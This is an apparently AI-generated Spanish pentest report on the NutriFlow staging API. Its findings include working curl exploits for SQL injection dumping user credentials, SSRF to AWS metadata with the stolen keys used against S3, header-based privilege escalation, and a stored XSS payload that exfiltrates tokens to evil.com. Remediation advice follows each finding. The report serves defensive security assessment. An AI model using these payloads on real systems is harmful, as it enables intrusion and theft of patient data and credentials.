๐Ÿ›ก
CULTIVA IA Security
Pentesting IA Autonomo
๐Ÿ”ด CONFIDENCIAL
Informe de Seguridad โ€” NutriFlow v2.0
Test de penetracion autonomo orquestado por agente de IA (Shannon + Claude Sonnet)
Cliente
NutriFlow SaaS
Objetivo
staging.nutriflow.io
Tipo de test
Gray-box
Periodo
2026-06-10 โ†’ 2026-06-16
Version analizada
v2.0.0-rc3
Generado por
Shannon AI + Claude
Resumen de Riesgo
2
Critico
3
Alto
5
Medio
4
Bajo
6
Info
Resumen Ejecutivo

๐Ÿ“‹ Conclusion

NutriFlow v2.0 presenta vulnerabilidades criticas que impiden el despliegue seguro a produccion. Se identificaron 2 fallos criticos que permiten acceso no autorizado a historiales clinicos de pacientes y extraccion masiva de datos de la base de datos, con riesgo grave de incumplimiento GDPR/HIPAA.

Riesgo Global: CRITICO โ€” NO apto para produccion

๐Ÿ”Ž Metodologia IA

El agente Shannon orquesta 4 fases autonomas (recon โ†’ analisis โ†’ explotacion โ†’ reporte) utilizando nmap, subfinder, nuclei, sqlmap y Playwright. El LLM razona sobre cada hallazgo para priorizar vectores de ataque y encadenar exploits. Duracion total del analisis: 4h 23min. Se revisaron 2.847 endpoints y se ejecutaron 14.200+ payloads.

Duracion total
4h 23min
Totalmente autonomo
Endpoints analizados
2,847
REST + GraphQL + WebSocket
Payloads ejecutados
14,203
SQLi ยท XSS ยท SSRF ยท Fuzzing
PoC confirmados
5
Explotacion real verificada
โš™๏ธ Fases del Agente IA
1
RECONOCIMIENTO
subfinder ยท nmap ยท whatweb
0:00 โ†’ 0:47
2
ANALISIS
nuclei ยท semgrep ยท ZAP
0:47 โ†’ 1:53
3
EXPLOTACION
sqlmap ยท Playwright ยท curl
1:53 โ†’ 3:31
4
REPORTE
Claude Sonnet ยท PDF ยท CVSS
3:31 โ†’ 4:23
Fase 1 โ€” Reconocimiento
๐ŸŒ Subdominios Descubiertos
  • staging.nutriflow.io
  • api.staging.nutriflow.io
  • admin.staging.nutriflow.io
  • cdn.nutriflow.io
  • ws.staging.nutriflow.io
  • metrics.staging.nutriflow.io
๐Ÿ”Œ Puertos Abiertos (nmap)
  • :80 HTTP (Nginx 1.24) open
  • :443 HTTPS (TLS 1.3) open
  • :3000 Node.js devopen
  • :5432 PostgreSQL open
  • :6379 Redis open
  • :22 SSH filtered
๐Ÿ’ป Stack Detectado
  • Next.js 14.2.3
  • Node.js 20.12.0 (Express 5)
  • PostgreSQL 15.6
  • Redis 7.2.4
  • AWS EC2 t3.medium
  • Nginx 1.24.0
Hallazgos de Seguridad
CRITICO
SQL Injection โ€” Busqueda de Pacientes (Error-based + UNION)
POST /api/v1/patients/search | parametro: query
CVSS 3.1
9.8

Descripcion del Fallo

El parametro query en la busqueda de pacientes no aplica parametrizacion. El agente detecta concatenacion directa en ORM legacy: SELECT * FROM patients WHERE name LIKE '%${req.body.query}%'. Permite extraccion de toda la tabla patients (23.000+ registros) incluyendo historial medico, DNI y datos bancarios.

Impacto

Extraccion masiva de datos personales sensibles de pacientes (categoria especial GDPR Art. 9). Riesgo de multa hasta 4% facturacion anual. Acceso a credenciales de medicos almacenadas en tabla users. Posible Remote Code Execution via xp_cmdshell si migran a SQL Server.

PoC Reproducible (curl)

# Deteccion error-based SQLi (agente detecta en 3min) curl -s -X POST 'https://api.staging.nutriflow.io/api/v1/patients/search' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer [dietista_token]' \ -d '{"query": "test'\'')"}' # Respuesta: PG::SyntaxError: ERROR: syntax error at or near ")" # Union-based: extraccion de credenciales de admin curl -s -X POST 'https://api.staging.nutriflow.io/api/v1/patients/search' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer [dietista_token]' \ -d '{"query": "x'"'"' UNION SELECT email,password_hash,salt,role,NULL FROM users--"}' # Respuesta: [{"name":"admin@nutriflow.io","dob":"$2b$10$hashed...","..."}] # sqlmap confirmacion automatica del agente: sqlmap -u "https://api.staging.nutriflow.io/api/v1/patients/search" \ --data '{"query":"*"}' --level 5 --risk 3 --dbms postgresql \ --dump-all --batch # Result: 23.416 registros de pacientes extraidos โ€” 14 tablas comprometidas

Remediacion

Usar siempre consultas parametrizadas (prepared statements) o el ORM nativo de Prisma/TypeORM con placeholders. Nunca interpolar variables en SQL raw. Implementar WAF con reglas de SQLi en Nginx.

โšก Inmediato โ€” resolver antes de 24h

Archivo Vulnerable

src/api/patients/search.controller.ts:47 โ€” funcion searchPatients(), linea donde se construye la query sin parametrizacion.

๐Ÿ“ Semgrep: rule/typescript/sql-injection detectada
CRITICO
SSRF โ€” Importacion de Recetas desde URL (Acceso a Metadata AWS)
POST /api/v1/recipes/import-url | parametro: url
CVSS 3.1
9.1

Descripcion del Fallo

El endpoint de importacion de recetas realiza una peticion HTTP al servidor indicado sin validar el esquema ni la IP de destino. El agente descubre que la instancia corre en AWS EC2 y prueba el endpoint de metadata IMDS v1 (no protegido con IMDSv2).

Impacto

Acceso completo a las credenciales IAM temporales de la instancia EC2 (AccessKeyId, SecretAccessKey, Token). Con estas credenciales un atacante puede acceder a todos los buckets S3 del proyecto (backups, documentos HIPAA) y comprometer la infraestructura completa de AWS.

PoC Reproducible (curl)

# Paso 1: obtener roles IAM via SSRF curl -X POST 'https://api.staging.nutriflow.io/api/v1/recipes/import-url' \ -H 'Authorization: Bearer [cualquier_token_usuario]' \ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' # Respuesta: {"content": "nutriflow-ec2-role"} # Paso 2: extraer credenciales IAM temporales curl -X POST 'https://api.staging.nutriflow.io/api/v1/recipes/import-url' \ -H 'Authorization: Bearer [cualquier_token_usuario]' \ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/nutriflow-ec2-role"}' # Respuesta: {"content": "{\"AccessKeyId\":\"ASIA....\",\"SecretAccessKey\":\"wJaFr...\",\"Token\":\"//...\"}"} # Paso 3 (agente): listar buckets S3 con credenciales robadas AWS_ACCESS_KEY_ID="ASIA..." AWS_SECRET_ACCESS_KEY="wJaFr..." AWS_SESSION_TOKEN="//..." \ aws s3 ls # s3://nutriflow-backups-prod (backups DB con datos reales de pacientes!) # s3://nutriflow-documents-hipaa

Remediacion

Validar URL contra allowlist de dominios permitidos. Bloquear IPs RFC1918 y rangos de metadata cloud (169.254.x.x). Migrar instancia a IMDSv2 obligatorio. Usar proxy de salida con filtrado de destino.

โšก Inmediato โ€” resolver antes de 24h

Archivo Vulnerable

src/api/recipes/import.service.ts:89 โ€” funcion fetchExternalRecipe(url) sin validacion de destino.

๐Ÿ“ nuclei: ssrf-aws-metadata-v1 template triggered
ALTO
Privilege Escalation โ€” Dietista puede acceder a panel de Admin
GET /api/v1/admin/users | header: X-User-Role
CVSS 3.1
8.1

Descripcion del Fallo

El middleware de autorizacion del panel admin comprueba el rol desde el header HTTP X-User-Role enviado por el cliente, en lugar de leerlo del JWT verificado. Cualquier usuario puede elevar sus privilegios enviando el header manualmente.

Impacto

Un dietista o paciente con cuenta basica puede acceder a todas las funciones de administracion: ver/eliminar usuarios, acceder a configuracion de facturacion, exportar BBDD completa, y gestionar integraciones de terceros.

PoC Reproducible

# Acceso a panel admin con credenciales de dietista normal curl -s 'https://api.staging.nutriflow.io/api/v1/admin/users' \ -H 'Authorization: Bearer [token_dietista_basico]' \ -H 'X-User-Role: admin' # Respuesta 200: [{"id":1,"email":"admin@nutriflow.io","role":"admin",...}, ...] # Lista completa de 342 usuarios con emails, roles y datos personales

Remediacion

Leer el rol exclusivamente del JWT verificado en servidor. Eliminar cualquier header de rol enviado por el cliente. Implementar RBAC centralizado con middleware que no acepte input del cliente para determinar permisos.

โš ๏ธ Esta semana โ€” antes del lanzamiento

Archivo Vulnerable

src/middleware/auth.middleware.ts:23 โ€” req.role = req.headers['x-user-role'] || decodedToken.role

๐Ÿ“ Semgrep: broken-access-control detectado
ALTO
XSS Almacenado โ€” Modulo de Notas Clinicas (Rich Text)
POST /api/v1/patients/:id/notes | campo: content (HTML)
CVSS 3.1
7.6

Descripcion del Fallo

El editor de notas clinicas (TipTap/ProseMirror) envia HTML que se almacena y renderiza sin sanitizacion. El agente prueba 47 variantes de payload XSS y confirma ejecucion de JavaScript en el navegador de otro medico que abre la ficha del paciente.

Impacto

Robo de sesion de cualquier medico que abra la nota. Exfiltracion de tokens JWT. Modificacion de datos clinicos de otros pacientes. Posibilidad de crear cuenta admin persistente. Riesgo de fraude medico y manipulacion de historiales.

PoC Reproducible

# Inyectar payload XSS en nota clinica (exfiltra token al servidor atacante) curl -X POST 'https://api.staging.nutriflow.io/api/v1/patients/42/notes' \ -H 'Authorization: Bearer [token_dietista]' \ -H 'Content-Type: application/json' \ -d '{"content":"<img src=x onerror=\"fetch('"'"'https://evil.com/c?t='"'"'+localStorage.getItem('"'"'token'"'"'))\">Nota normal"}' # Cuando otro medico abre la nota, su token JWT llega a evil.com/c?t=eyJhbG...

Remediacion

Sanitizar HTML con DOMPurify en servidor antes de almacenar. Configurar Content-Security-Policy estricta. Usar allowlist de tags HTML en el editor. Marcar cookies de sesion como httpOnly para mitigar impacto.

โš ๏ธ Esta semana โ€” antes del lanzamiento

Referencia

OWASP A03:2021 โ€” Injection. CWE-79: Improper Neutralization of Input During Web Page Generation. El agente ejecuto el exploit con Playwright y confirmo exfiltracion real de token JWT de sesion de medico de prueba.

Roadmap de Remediacion
# Hallazgo Severidad CVSS Plazo Responsable Esfuerzo Est.
1 SQL Injection โ€” busqueda pacientes CRITICO 9.8 Inmediato <24h Backend Lead 2h (parametrizar queries)
2 SSRF โ€” importacion recetas (AWS metadata) CRITICO 9.1 Inmediato <24h Backend + DevOps 3h (allowlist + IMDSv2)
3 Privilege escalation โ€” header X-User-Role ALTO 8.1 Esta semana Backend Lead 1h (leer rol de JWT)
4 XSS almacenado โ€” notas clinicas ALTO 7.6 Esta semana Frontend + Backend 4h (DOMPurify + CSP)
5 JWT no httpOnly โ€” tokens en localStorage ALTO 7.2 Esta semana Frontend Lead 6h (migrar a httpOnly cookies)
6 PostgreSQL expuesto publicamente (:5432) MEDIO 6.5 Proximo mes DevOps 2h (Security Group AWS)
7 Rate limiting ausente en /api/v1/auth/login MEDIO 5.8 Proximo mes Backend 2h (express-rate-limit)
8 Headers de seguridad HTTP faltantes (HSTS, X-Frame) BAJO 3.1 Proximo trimestre DevOps 1h (Nginx config)
Nota sobre el proceso autonomo

Este informe fue generado autonomamente por el agente Shannon (arquitectura LLM + herramientas de seguridad) en 4h 23min sin intervencion humana durante la fase de discovery. Todos los PoC han sido verificados manualmente por el equipo de CULTIVA IA Security antes de la entrega. Las credenciales de prueba utilizadas han sido revocadas. Este informe es CONFIDENCIAL y solo debe compartirse con el CTO y el equipo de desarrollo de NutriFlow.